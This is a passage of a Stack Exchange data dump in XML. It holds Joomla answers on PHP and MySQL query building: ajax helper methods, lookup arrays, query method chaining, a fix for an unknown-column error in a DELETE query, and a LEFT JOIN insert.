eio3k_hikers&#xA;(link_id,link_name,user_id)&#xA;(&#xA;SELECT link_id, link_name, user_id&#xA;FROM eio3k_mt_links&#xA;WHERE link_id = 3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-19T12:33:46.727" LastActivityDate="2018-06-19T12:33:46.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22957" PostTypeId="2" ParentId="21696" CreationDate="2018-06-07T03:18:30.177" Score="0" Body="&lt;p&gt;I have been writing a lot of ajax modules for work, so I can relate to what you are trying to accomplish with your static methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you may have a misunderstanding about how/when these &lt;code&gt;static&lt;/code&gt; methods are being called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via the Joomla handling of ajax processes, the function that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function ModuleNameAjax() {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will be immediately called by default (this is a feature).  It doesn't matter what order you write the &lt;code&gt;static&lt;/code&gt; methods inside of &lt;code&gt;class modModuleNameHelper { }&lt;/code&gt;.  The &lt;code&gt;ModuelNameAjax()&lt;/code&gt; function WILL BE called, and all other static or non-static functions will remain dormant/un-called until you explicitly call upon them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to have immediate access to AND cache the data that is generated from the function &lt;code&gt;MyDatabaseFunction($params)&lt;/code&gt;, then you will need to call it from inside &lt;code&gt;ModuleNameAjax()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyModuleHelper {&#xA;    private $data;&#xA;&#xA;    public static MyDatabaseFunction($params) {&#xA;        ...&#xA;        self::$data = $db-&amp;gt;loadRowList();&#xA;        ...&#xA;        //here self::$data is full&#xA;    }&#xA;&#xA;    public static MyAjaxFunction() {&#xA;        //here self::$data is empty&#xA;        self::MyDatabaseFunction($params); // I'll assume you have access to $params&#xA;        //here self::$data should be full and can forever be called by any function&#xA;        // from within the class until php terminates the script.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-07T03:18:30.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22958" PostTypeId="2" ParentId="21632" CreationDate="2018-06-07T03:58:41.070" Score="0" Body="&lt;p&gt;Your battery of conditionals, I'm sorry to say, is bloated, redundant, and inefficient.  Whenever I see a long-winded if-elseif-else or case-switch block, I recommend a lookup array.  A lookup array will be far more compact, easier to read/maintain, and requires far less function calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you generate the lookup:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Isolate the &lt;code&gt;needle&lt;/code&gt; value that you'll be searching for and use these unique values as keys.&lt;/li&gt;&#xA;&lt;li&gt;Isolate the value(s) that you will want to access upon finding a match.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For simplicity, I'm going to omit the mention of &lt;code&gt;&quot;this is not sanjay&quot;&lt;/code&gt; because it will add complexity to the lookup array structure and over-complicate my demonstration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lookup = array(&#xA;              'online' =&amp;gt; 'gkPageContent',&#xA;              'student-login' =&amp;gt; 'showme',&#xA;              'my-account/orders' =&amp;gt; 'showme',&#xA;              'my-account/my-courses' =&amp;gt; 'showme',&#xA;              'my-account/fourm' =&amp;gt; 'showme'       // check your spelling&#xA;          );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See, this is clean and compact and if you accidentally duplicate a key-value pair then only one will be retained because php array keys must be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to use the lookup, you only need to call upon the speedy &lt;code&gt;isset()&lt;/code&gt; function one time like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($lookup[$_SERVER['REQUEST_URI']])) {&#xA;    $left_col_class = $lookup[$_SERVER['REQUEST_URI']];&#xA;} else {&#xA;    $left_col_class = $default_fallback_value; // ...&quot;darn thing&quot; would be unhelpful, me thinks&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, if you need to access multiple values from a key match, then instead of assigning strings like &lt;code&gt;gkPageContent&lt;/code&gt; and &lt;code&gt;showme&lt;/code&gt;, you can assign an array to each key like: &lt;code&gt;array('class' =&amp;gt; 'gkPageContent', 'note' =&amp;gt; 'Sanjay')&lt;/code&gt; or &lt;code&gt;array('class' =&amp;gt; 'showme', 'note' =&amp;gt; 'Not Sanjay')&lt;/code&gt; and access them respectively like: &lt;code&gt;$lookup[$_SERVER['REQUEST_URI']]['class']&lt;/code&gt; and &lt;code&gt;$lookup[$_SERVER['REQUEST_URI']]['note']&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-07T03:58:41.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22959" PostTypeId="2" ParentId="21613" CreationDate="2018-06-07T06:44:37.413" Score="1" Body="&lt;p&gt;Though you have found your own resolution, I would like to blow my whistle on a few points and offer some suggestions that are too wordy to squeeze into a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggested Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JComponentHelper::getParams('com_tags')-&amp;gt;get('tag_list_language_filter', 'all');&#xA;&#xA;if ($language !== 'all') {&#xA;    if ($language === 'current_language') {&#xA;        $language = JHelperContent::getCurrentLanguage();&#xA;    }&#xA;    $query-&amp;gt;where(&quot;cc.core_language IN (&quot; . $db-&amp;gt;q($language) . &quot;, '*')&quot;);&#xA;}&#xA;&#xA;$query-&amp;gt;group(&#xA;    array('m.core_content_id', 'm.content_item_id', 'm.type_alias', 'ct.router', 'cc.core_title', 'cc.core_alias', 'cc.core_catid', 'cc.core_language', 'cc.core_params')&#xA;);  // ^-- this many columns is questionable&#xA;&#xA;if ($tagCount) {&#xA;    if ($matchtype === 'all') {&#xA;        $query-&amp;gt;having(&quot;COUNT(tag_id) = $tagCount&quot;);&#xA;    } elseif ($matchtype === 'half') {&#xA;        $query-&amp;gt;having(&quot;COUNT(tag_id) &amp;gt;= &quot; . ceil($tagCount / 2));  // removed single-use variable&#xA;    }&#xA;}&#xA;&#xA;// I _think_ this is your intended logic...&#xA;&#xA;if ($ordering === 'random' || $ordering === 'countrandom') {&#xA;    $query-&amp;gt;order(&quot;RAND()&quot;);&#xA;}&#xA;&#xA;if ($ordering === 'count' || $ordering === 'countrandom') {&#xA;    $query-&amp;gt;order(&quot;COUNT(tag_id) DESC&quot;);  // You are counting the `tag_id`s right? Wise database architects generally don't name a column `count` because it is a keyword.&#xA;}&#xA;&#xA;$query-&amp;gt;order(&quot;m.content_item_id DESC&quot;);  // this is the final tie-breaker&#xA;&#xA;$db-&amp;gt;setQuery($query, 0, $maximum);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;None of your table names/aliases or column names contain spaces, nor are they MYSQL RESERVED keywords, so you can safely omit those &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; calls.  If you want to shorten your lines of code, you can use the shorthand alias: &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt;.  &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; (or &lt;code&gt;$db-&amp;gt;q()&lt;/code&gt;) is a wise choice on variables that might not be numeric -- so those should stay for security reasons.&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;group()&lt;/code&gt; method seems excessively specific about the grouping terms.  While I am not familiar with the Similar Tags module, it seems unlikely that you need to group by all of those columns to identify uniqueness (I could be wrong).  My advice is to minimize the number of columns in your &lt;code&gt;group()&lt;/code&gt; method so that the database isn't performing unnecessarily.&lt;/li&gt;&#xA;&lt;li&gt;Since &lt;code&gt;$tagCount&lt;/code&gt; is sure to be a non-negative integer, the conditional syntax can be simplified [see my snippet].  To eliminate redundant conditional checks, nesting your &lt;code&gt;$matchtype&lt;/code&gt; conditions will be more direct.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;$query-&gt;rand()&lt;/a&gt; is not a Joomla MySQL method (and if it was, you should be pulling it from &lt;code&gt;$db&lt;/code&gt;), so I ran a test and &lt;code&gt;-&amp;gt;dump()&lt;/code&gt;ed the query to see what it generated.  To my surprise, it wrote &lt;code&gt;RAND()&lt;/code&gt; into the query as intended.  If you try to write: &lt;code&gt;$querySelect-&amp;gt;rand();&lt;/code&gt;, nothing is added to the query (probably because it's not &lt;em&gt;real&lt;/em&gt;). For brevity's sake and to avoid teaching Joomla researchers bad habits, I recommend that you omit the erroneous method call and just write &lt;code&gt;&quot;RAND()&quot;&lt;/code&gt; as your &lt;code&gt;-&amp;gt;order()&lt;/code&gt; parameter.&lt;/li&gt;&#xA;&lt;li&gt;When you say:&#xA;&lt;blockquote&gt;I added &lt;code&gt;$query-&amp;gt;order($db-&amp;gt;quoteName('m.content_item_id') . ' DESC');&lt;/code&gt; under &lt;code&gt;if ($matchtype === 'all' &amp;amp;&amp;amp; $tagCount &amp;gt; 0) { $query-&amp;gt;having('COUNT( ' . $db-&amp;gt;quoteName('tag_id') . ') = ' . $tagCount);&lt;/code&gt; and it does the trick.&lt;/blockquote&gt; I have concerns.  If you write &lt;code&gt;m.content_item_id DESC&lt;/code&gt; as the first column to sort by, then &lt;code&gt;count&lt;/code&gt;, and finally &lt;code&gt;RAND()&lt;/code&gt; ...then the logic says that you only consider the &lt;code&gt;count&lt;/code&gt; values when there is a duplicate value in &lt;code&gt;m.content_item_id&lt;/code&gt; (I'm not even convinced that the ambiguous column name &quot;count&quot; even exists, then again I don't know which tables you are referencing with these aliases).  Furthermore, your third condition in the expression &quot;RAND()&quot; will only come into play if there is tie on both of the previously mentioned column values.  It just doesn't seem like sound logic.  If you want a random selection, I think that condition needs to come first or second at the latest.  For future researchers, I hope that you will clarify your coding intent.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-07T06:44:37.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22960" PostTypeId="2" ParentId="21555" CreationDate="2018-06-07T09:21:36.947" Score="0" Body="&lt;p&gt;For the record, I find @jamesgarrett's answer to be perfectly adequate.  I just want to offer some alternative syntax for researchers to consider.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;A.*, B.prod_name&quot;)&#xA;                -&amp;gt;from(&quot;#__usedtoy_variants A&quot;)&#xA;                -&amp;gt;leftJoin(&quot;#__usedtoy_products B ON A.id = B.v_prod_id&quot;)&#xA;                -&amp;gt;where(&quot;A.state = 1 AND A.id = &quot; . (int)$vid);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$result = $db-&amp;gt;loadObject()) {  // one-dimensional, not multi-dimensional&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage('Potential Logic Failure - No Rows Returned', 'notice');&#xA;        return false;&#xA;    }&#xA;    return $result;&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('Syntax Failure', 'error');  // use these to debug: $query-&amp;gt;dump() &amp;amp;&amp;amp; $e-&amp;gt;getMessage()&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I prefer&lt;code&gt;try {} catch {}&lt;/code&gt; blocks because I feel they make error handling simpler/cleaner.&lt;/li&gt;&#xA;&lt;li&gt;Method chaining can be done from &lt;code&gt;getQuery()&lt;/code&gt;. Doing so removes the need to repeat &lt;code&gt;$query&lt;/code&gt; for each query method call.&lt;/li&gt;&#xA;&lt;li&gt;I have removed every non-essential &lt;code&gt;qn()&lt;/code&gt; and &lt;code&gt;q()&lt;/code&gt; to reduce code bloat and have cast &lt;code&gt;$vid&lt;/code&gt; as an integer for security reasons assuming that &lt;code&gt;vid&lt;/code&gt; stands for a table id (integer).  If &lt;code&gt;$vid&lt;/code&gt; is not an integer, use &lt;code&gt;q()&lt;/code&gt; on it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;leftJoin()&lt;/code&gt; is a dedicated join method.&lt;/li&gt;&#xA;&lt;li&gt;I am checking for an empty resultset with &lt;code&gt;!&lt;/code&gt; and issuing a &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/code&gt; notice then returning &lt;code&gt;false&lt;/code&gt; when there are no rows.  Depending on your project design, this outcome may not be a &quot;Logic Failure&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I am offering a vague &quot;Syntax Failure&quot; response when the query breaks as a matter of best practice.  If you want to fill the &lt;code&gt;enqueueMessage()&lt;/code&gt; text with something more informative when you are debugging, use the &lt;code&gt;dump()&lt;/code&gt; and/or &lt;code&gt;getMessage()&lt;/code&gt; calls which I have left as inline comments.  When finished debugging, be sure to remove the specific query/error details from view.&lt;/li&gt;&#xA;&lt;li&gt;As an un-associated suggestion, I'll urge you to avoid using &lt;code&gt;global&lt;/code&gt; in your function call.  Many developers consider this to be &quot;sloppy&quot; and unnecessarily adds variables to the global scope.  If you can accomplish the same effect by passing variables as arguments in the function -- do that.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-23T02:52:04.720" LastActivityDate="2018-07-23T02:52:04.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22962" PostTypeId="2" ParentId="22953" CreationDate="2018-06-07T17:02:08.800" Score="1" Body="&lt;p&gt;I don't know of any extension that out of the box will authenticate to get the feed.  &lt;br/&gt;&lt;br/&gt;Joomla Works makes a solid feed reader (&lt;a href=&quot;https://www.joomlaworks.net/extensions/free/simple-rss-feed-reader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlaworks.net/extensions/free/simple-rss-feed-reader&lt;/a&gt;). &#xA; You might contact them to see if they could add the feature.&lt;br/&gt;&lt;br/&gt;You could also try customizing the helper.php file in it include a cURL authentication similar to &lt;a href=&quot;https://stackoverflow.com/questions/20064271/how-to-use-basic-authorization-in-php-curl/20064360&quot;&gt;https://stackoverflow.com/questions/20064271/how-to-use-basic-authorization-in-php-curl/20064360&lt;/a&gt;.  However, that would depend on how the FTP is configured and whether it would even accept that kind of request.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-06-07T17:02:08.800" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22963" PostTypeId="2" ParentId="22771" CreationDate="2018-06-08T00:47:39.490" Score="0" Body="&lt;p&gt;I have several optimizations/refinements/suggestions to offer.  First the code block, then the explanations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;A.id, B.uid, C.bet&quot;)&#xA;                -&amp;gt;from(&quot;vm_kampe A&quot;)&#xA;                -&amp;gt;innerJoin(&quot;vm_kuponer B ON A.id = B.id&quot;)&#xA;                -&amp;gt;innerJoin(&quot;vm_tabel C ON B.uid = C.uid&quot;)&#xA;                -&amp;gt;where(&quot;A.dato = DAYOFYEAR(CURDATE()) AND C.liga = 'bs'&quot;)&#xA;                -&amp;gt;order(&quot;B.uid, A.id&quot;);&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    if (!$results = $db-&amp;gt;loadObjectList()) {&#xA;        // (No Matches Today)&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage('Ingen kampe i dag', 'notice');&#xA;    } else {&#xA;        $group = null;&#xA;        foreach ($results as $row) {&#xA;            if ($row-&amp;gt;uid !== $group) {&#xA;                if ($group !== null) {&#xA;                    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;                }&#xA;                echo &quot;&amp;lt;div class=\&quot;kupon_gruppe\&quot;&amp;gt;Group - $row-&amp;gt;uid:&quot;;&#xA;            }&#xA;            echo &quot;&amp;lt;div class=\&quot;dagens_kampe_kupon\&quot;&amp;gt;ID: $row-&amp;gt;id - Bet: $row-&amp;gt;bet&amp;lt;/div&amp;gt;&quot;;&#xA;            $group = $row-&amp;gt;uid;&#xA;        };&#xA;        echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    // (Syntax Failure) use these to debug: $query-&amp;gt;dump() &amp;amp;&amp;amp; $e-&amp;gt;getMessage()&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('Syntaksfejl', 'error');    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the itemized list of what I've done and why:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have removed &lt;code&gt;$date&lt;/code&gt; because MySQL already has the ability to generate this value on its own.  This reduces the number of variables in the global scope and avoids variable interpolation.  Admittedly, MySQL takes two function calls to generate it -- this is a personal preference decision.&lt;/li&gt;&#xA;&lt;li&gt;Joomla method chaining can be done from &lt;code&gt;getQuery()&lt;/code&gt;.  I chain as early as possible to avoid repeating &lt;code&gt;$query&lt;/code&gt; (D.R.Y. principle of coding).&lt;/li&gt;&#xA;&lt;li&gt;I don't know exactly which table contains &lt;code&gt;bet&lt;/code&gt;, but best coding practice demands that you only ask the database to return the values that you intend to use.  Only use &lt;code&gt;*&lt;/code&gt; when you &lt;em&gt;need&lt;/em&gt; all of the columns in a table.&lt;/li&gt;&#xA;&lt;li&gt;In the query chain, I am using lowercase method calls because that is what the Joomla documentation uses (when writing raw MySQL, I always UPPERCASE my keywords).&lt;/li&gt;&#xA;&lt;li&gt;While making a bunch of &lt;code&gt;qn()&lt;/code&gt; and &lt;code&gt;q()&lt;/code&gt; calls on tables, aliases, columns, and values is often recommended on JSE to &quot;error on the side of caution/security&quot;, the truth is, none of your values &lt;em&gt;need&lt;/em&gt; these method calls.  To make the code more brief and readable, I've removed all of these calls with no impact on security.&lt;/li&gt;&#xA;&lt;li&gt;I use UPPERCASE table aliases because I think they make the query more readable.  Often tables and columns are lowercase, so this offers an immediate distinction.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.w3resource.com/mysql/date-and-time-functions/mysql-dayofyear-function.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;DAYOFYEAR()&lt;/a&gt; puts php's &lt;code&gt;date('j')&lt;/code&gt; out of a job and provides a more intuitive syntax for future developers/readers of your code.&lt;/li&gt;&#xA;&lt;li&gt;MySQL is VERY good at sorting data, let's perform this process before the resultset is generated so that php can do what it good at -- delivering dynamic content.  The &lt;code&gt;ORDER BY&lt;/code&gt; clause is sorting by &lt;code&gt;uid ASC&lt;/code&gt; first then &lt;code&gt;id ASC&lt;/code&gt; when &lt;code&gt;uid&lt;/code&gt; is a tie.&lt;/li&gt;&#xA;&lt;li&gt;This is the generated query: &lt;a href=&quot;https://i.stack.imgur.com/hTMt6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTMt6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;When there are no rows in the resultset (this is done with &lt;code&gt;!&lt;/code&gt; before &lt;code&gt;$results&lt;/code&gt; in the conditional), I am issuing a blue &quot;notice&quot; via &lt;code&gt;enqueueMessage()&lt;/code&gt;.  For anyone unfamiliar with &lt;code&gt;if (!$results = $db-&amp;gt;loadObjectList())&lt;/code&gt;, this is both declaring &lt;code&gt;$results&lt;/code&gt; and checking it for a &quot;false-y&quot; value.&lt;/li&gt;&#xA;&lt;li&gt;You do not need to loop the resultset to prepare the data, then loop it again and employ a nested loop to display your desired html.  This can all be done with one clever foreach loop.  Since the rows are ordered by &lt;code&gt;uid&lt;/code&gt;, you can check each iteration of the resultset for a new &lt;code&gt;uid&lt;/code&gt; value and conditionally output the appropriate html.  Because the html can be structured in a variety of ways, I'll offer two that will serve up two different styles for your consideration.  &lt;a href=&quot;https://3v4l.org/uNtJL&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Single-Stack of Divs&lt;/a&gt; or &lt;a href=&quot;https://3v4l.org/n0ofb&quot; rel=&quot;nofollow noreferrer&quot;&gt;Grouped Divs with Nested Child Divs&lt;/a&gt;  My code block above is using the nested version.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;code&gt;try {} catch {}&lt;/code&gt; block offers a very clean way to handle syntax errors across multiple possible breakpoints.  Only print &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt; and &lt;code&gt;$e-&amp;gt;getMessage()&lt;/code&gt; to screen when developing/debugging because you don't want these details to be publicly exposed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-08T00:47:39.490" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22964" PostTypeId="2" ParentId="15536" CreationDate="2018-06-08T03:42:12.430" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But then it's giving me 1054 error with following message: Unknown&#xA;  column 'r.state' in 'where clause' SQL=&lt;code&gt;DELETE FROM iyatx_booking_reservation_items WHERE r.state = 'FILES_ACCEPT' AND r.state = 'FILES_CANCEL'&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is why you are getting this error: &lt;code&gt;r&lt;/code&gt; is the &quot;table alias&quot; that you are referencing while targeting the &lt;code&gt;state&lt;/code&gt; column, but you never declare &lt;code&gt;r&lt;/code&gt; as the table alias of &lt;code&gt;iyatx_booking_reservation_items&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The truth is, because you are only referencing one table in your &lt;code&gt;DELETE&lt;/code&gt; query, you don't need a table alias nor do you need to reference the table to target your column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be as simple as removing the &lt;code&gt;r.&lt;/code&gt; from the column names. *And &lt;code&gt;state&lt;/code&gt; can only be one value at a time (per row).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM iyatx_booking_reservation_items WHERE state = 'FILES_ACCEPT' OR state = 'FILES_CANCEL'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or to condense your &lt;code&gt;WHERE&lt;/code&gt; clause you can use...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM iyatx_booking_reservation_items WHERE state IN ('FILES_ACCEPT','FILES_CANCEL')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To crystallize, you can use this snippet to generate my recommended/2nd query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deleteFiles() {&#xA;    $db = JFactory::getDBO();&#xA;    try {&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;delete(&quot;#__booking_reservation_items&quot;)&#xA;                    -&amp;gt;where(&quot;state IN ('FILES_ACCEPT','FILES_CANCEL')&quot;);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();&#xA;        if (!$affrows = $db-&amp;gt;getAffectedRows()) {&#xA;            return &quot;Possible Logic Error - No Qualifying Rows To Delete&quot;;&#xA;        }&#xA;        return &quot;Success $affrows Deleted Rows&quot;;&#xA;    } catch (Exception $e) {&#xA;        return &quot;Syntax Error&quot;; // . &quot;Query: &quot; . $query-&amp;gt;dump() . &quot; &amp;amp; Error: &quot; . $e-&amp;gt;getMessage();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you can &lt;code&gt;return&lt;/code&gt; whatever you like from your function.  I am offering some informative strings, but you might like &lt;code&gt;true|false&lt;/code&gt; -- the choice is yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If MySQL is still banging on about &lt;code&gt;state&lt;/code&gt; being an &quot;unknown column&quot;, then clearly &lt;code&gt;state&lt;/code&gt; does not exist in the &lt;code&gt;iyatx_booking_reservation_items&lt;/code&gt; table; in which case you should check your spelling and/or table structure.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-01T20:54:26.463" LastActivityDate="2019-02-01T20:54:26.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22965" PostTypeId="2" ParentId="14929" CreationDate="2018-06-08T06:28:01.213" Score="0" Body="&lt;p&gt;Because you need only INSERT data from &lt;code&gt;#__user_usergroup_map&lt;/code&gt; to &lt;code&gt;#__clients&lt;/code&gt; where &lt;code&gt;id&lt;/code&gt; is null AND where &lt;code&gt;group_id&lt;/code&gt; is &lt;code&gt;10&lt;/code&gt;, you need to use &lt;code&gt;LEFT JOIN&lt;/code&gt; to join the tables.  Other joins will eliminate rows that produce a &lt;code&gt;NULL&lt;/code&gt; column and that is not desirable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|  #__user_usergroup_map |  LEFT JOIN ON user_id=id  |  #__clients  |&#xA;|------------------------|              &amp;lt;            |--------------|&#xA;|  user_id  |  group_id  |              &amp;lt;            |      id      |&#xA;|-----------|------------|              &amp;lt;            |--------------|&#xA;|     1     |     10     |              &amp;lt;            |     NULL     |&#xA;|     2     |      9     |              &amp;lt;            |     NULL     |&#xA;|     3     |     10     |              &amp;lt;            |     NULL     |&#xA;|     4     |      6     |              &amp;lt;            |     NULL     |&#xA;|     5     |     10     |              &amp;lt;            |       5      | //previously INSERTED for demonstration's sake&#xA;|     6     |     10     |              &amp;lt;            |     NULL     |&#xA;|     7     |     10     |              &amp;lt;            |     NULL     |&#xA;|     8     |     10     |              &amp;lt;            |     NULL     |&#xA;|     9     |      4     |              &amp;lt;            |     NULL     |&#xA;|    10     |     10     |              &amp;lt;            |     NULL     |&#xA;--------------------------                           ----------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before I get to the solutions, I want to bring attention to the fact that your php/Joomla syntax is not generating your intended query.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select('a.user_id', 'a.group_id', 'b.id')&#xA;            -&amp;gt;from('#__user_usergroup_map as a', '#__clients as b')&#xA;            -&amp;gt;join('RIGHT', '#__clients AS b ON a.user_id != b.id')&#xA;            -&amp;gt;where('a.group_id = ' . $db-&amp;gt;quote(&quot;10&quot;));&#xA;echo $query-&amp;gt;dump();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Generates: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.user_id                                    // 2nd &amp;amp; 3rd columns are lost (should have been written as an array, but they were unimportant anyhow)&#xA;FROM prefx_user_usergroup_map as a                  // comma joined table is lost (not that it was good for anything)&#xA;RIGHT JOIN prefx_clients AS b ON a.user_id != b.id  // this is not the correct join, nor ON logic&#xA;WHERE a.group_id = '10'                             // this is half of what is required&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return zero rows.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;While I am confident that Alexandr's snippet will provide the expected outcome because the logic/syntax is sound, I'll offer my version that has a few differences.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $select_query = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;select(&quot;A.user_id&quot;)&#xA;                       -&amp;gt;from(&quot;#__user_usergroup_map A&quot;)&#xA;                       -&amp;gt;leftJoin(&quot;#__clients B ON A.user_id = B.id&quot;)&#xA;                       -&amp;gt;where(&quot;A.group_id = 10 AND B.id IS NULL&quot;);&#xA;    //echo $select_query-&amp;gt;dump();&#xA;&#xA;    $insert_query = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;insert('#__clients')&#xA;                       -&amp;gt;columns('id')&#xA;                       -&amp;gt;values($select_query);&#xA;    // echo $insert_query-&amp;gt;dump();&#xA;&#xA;    $db-&amp;gt;setQuery($insert_query);&#xA;    $db-&amp;gt;execute();&#xA;    // echo $db-&amp;gt;getAffectedRows() , &quot; row(s) inserted into clients table&quot;;&#xA;} catch (Exception $e) {&#xA;    echo &quot;Syntax Error&quot;; // . &quot; &amp;amp; Error: &quot; . $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tested my snippet to be successful on my local host.  I also created a &lt;a href=&quot;http://sqlfiddle.com/#!9/a1e46/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLFiddle Demo&lt;/a&gt; if anyone wants to play around.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am chaining each query from the &lt;code&gt;getQuery()&lt;/code&gt; method to eliminate duplicated mentions of 